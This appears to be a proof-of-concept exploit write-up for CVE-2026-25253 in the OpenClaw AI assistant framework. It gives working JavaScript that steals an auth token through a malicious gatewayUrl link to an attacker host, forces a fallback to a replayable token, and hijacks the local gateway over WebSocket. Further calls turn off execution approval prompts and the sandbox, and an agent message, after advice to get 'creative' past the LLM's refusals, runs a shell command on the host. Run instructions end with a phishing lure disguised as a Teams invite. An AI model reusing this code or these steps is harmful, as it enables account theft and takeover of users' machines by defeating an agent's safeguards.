
Proof-of-concept exploit for CVE-2026-25253, demonstrating one-click remote code execution in OpenClaw via authentication token theft and cross-site WebSocket hijacking.
Affected Software: OpenClaw (clawbot) < v2026.1.29
CVE ID: CVE-2026-25253
CVSS Score: 8.8 (High)
Impact: Unauthenticated remote attacker can steal an authentication token and achieve Remote Code Execution on the victim's host
LEGAL DISCLAIMER: This code and writeup are provided for authorized security research and educational purposes only. Use of this exploit against systems without explicit written permission is illegal and unethical. The author assumes no liability for misuse.
OpenClaw, previously known as Clawdbot and referred to as Moltbot in early versions, is an AI assistant framework that runs locally on macOS, Windows, or Linux. It supports cloud-based models such as Anthropic and OpenAI, as well as local models.
The Control UI is a single-page application, served at /chat. It communicates with the local gateway server over WebSocket at ws://127.0.0.1:18789/ (or wss://host:18789/ for TLS).
Key security characteristics of the affected versions:
localStoragenoble-ed25519)type: "req", "res", "event")connect frameapplySettingsFromUrl()The vulnerability lives in applySettingsFromUrl() in the Control UI.
When the Control UI is loaded, this function reads the ?gatewayUrl= query parameter from the URL and stores it as the active gateway endpoint — with no validation of whether it points to a trusted host.
An attacker can craft a link such as:
http://<target>/chat?gatewayUrl=ws://attacker.com
When the victim clicks this link while authenticated in OpenClaw, the following happens automatically:
applySettingsFromUrl() stores ws://attacker.com as the new gateway URLconnect frame — including the authentication token, device ID, and Ed25519 public key — to the attackerws://127.0.0.1:18789In this PoC, the attacker hosts a page (meeting.html) that opens the victim's own Control UI in a popup, injected with the malicious ?gatewayUrl= parameter:
const attackerGatewayUrl = `ws://<attacker>:8080`;
const targetUrl = `http://127.0.0.1:18789?gatewayUrl=${encodeURIComponent(attackerGatewayUrl)}`;
window.open(targetUrl, '_blank');
The attacker server exploits OpenClaw's two-token fallback: the first connect attempt uses the device token (Ed25519-bound, not replayable). By rejecting it, the server forces the Control UI to retry with the settings token — a long-lived bearer token that is replayable:
// Reject attempt #1 → forces Control UI to retry with settings token
if (connectAttempts === 1) {
ws.send({ type: 'res', ok: false, error: { code: 'AUTH_FAILED' } });
return;
}
// Attempt #2 → settings token → CAPTURED
capturedToken = token;
With the stolen settings token, meeting.html opens its own direct WebSocket connection to the real gateway (ws://127.0.0.1:18789). This is possible because the gateway in versions < v2026.1.29 does not validate the Origin header — any page loaded in the victim's browser can connect to it.
// Turn off all execution approval prompts
await sendRequest('exec.approvals.set', {
file: {
defaults: { ask: 'off', autoAllowSkills: true },
agents: { '*': { ask: 'off' } },
}
});
// Escape container sandbox, redirect exec to host machine
await sendRequest('config.patch', {
raw: JSON.stringify({
tools: { exec: { host: 'gateway', ask: 'off' } },
agents: { defaults: { sandbox: { mode: 'off' } } },
})
});
The content of the message field is processed by the LLM configured in the agent, this means, if the LLM deems the content to be harmful, it will not execute the command. You have to be creative to bypass the LLM's security measures.
await sendRequest('agent', {
message: 'Execute this shell command: <payload>',
agentId: 'main',
sessionKey: 'agent:main:main',
deliver: false,
});
sequenceDiagram
autonumber
actor Attacker
participant Browser as Victim Browser<br/>(meeting.html)
participant CtrlUI as OpenClaw Control UI<br/>(popup @ 127.0.0.1:18789/chat)
participant AtkWS as Attacker WS Server<br/>(:8080)
participant GW as Real OpenClaw Gateway<br/>(127.0.0.1:18789)
participant LLM as Cloud LLM<br/>(OpenAI / Anthropic)
Attacker->>Browser: Phishing link → opens meeting.html<br/>(disguised as a Teams invite)
Note over Browser: Phase 1 — Token Theft
Browser->>CtrlUI: Opens popup with ?gatewayUrl=ws://attacker:8080
Note over CtrlUI: applySettingsFromUrl() stores<br/>attacker WS as active gateway
CtrlUI->>AtkWS: connect { auth.token: DEVICE_TOKEN }
AtkWS-->>CtrlUI: ✗ AUTH_FAILED (reject — forces retry)
CtrlUI->>AtkWS: connect { auth.token: SETTINGS_TOKEN }
AtkWS-->>CtrlUI: ✓ hello-ok (fake response)
AtkWS->>Browser: token_captured { token: SETTINGS_TOKEN }
Note over Browser: Phase 2 — Gateway Hijack (CSWSH)
Browser->>GW: WebSocket connect (no Origin validation)<br/>auth { token: SETTINGS_TOKEN }
GW-->>Browser: ✓ Authenticated as operator
Note over Browser: Phase 3 — Security Bypass
Browser->>GW: exec.approvals.set { ask: "off" }
GW-->>Browser: ✓ Approval prompts disabled
Browser->>GW: config.patch { exec.host: "gateway",<br/>sandbox.mode: "off" }
GW-->>Browser: ✓ Sandbox disabled, exec on host
Note over Browser: Phase 4 — Remote Code Execution
Browser->>GW: agent { message: "Execute shell command: COMMAND" }
GW->>LLM: Forward prompt (security already stripped)
LLM-->>GW: Tool call: exec("COMMAND")
GW->>GW: Runs command on HOST filesystem
GW-->>Browser: ✓ Command executed
npm install # installs 'ws' dependency
meeting.htmlconst GATEWAY_URL = 'ws://127.0.0.1:18789'; // victim's local gateway
const ATTACKER_WS_PORT = 8080; // must match attacker-server.js
const COMMAND = 'touch /tmp/success';
node attacker-server.js
Send the victim:
http://<ATTACKER_IP>:3000/meeting.html
https://github.com/openclaw/openclaw/security/advisories/GHSA-g8p2-7wf7-98mq
https://www.sonicwall.com/blog/openclaw-auth-token-theft-leading-to-rce-cve-2026-25253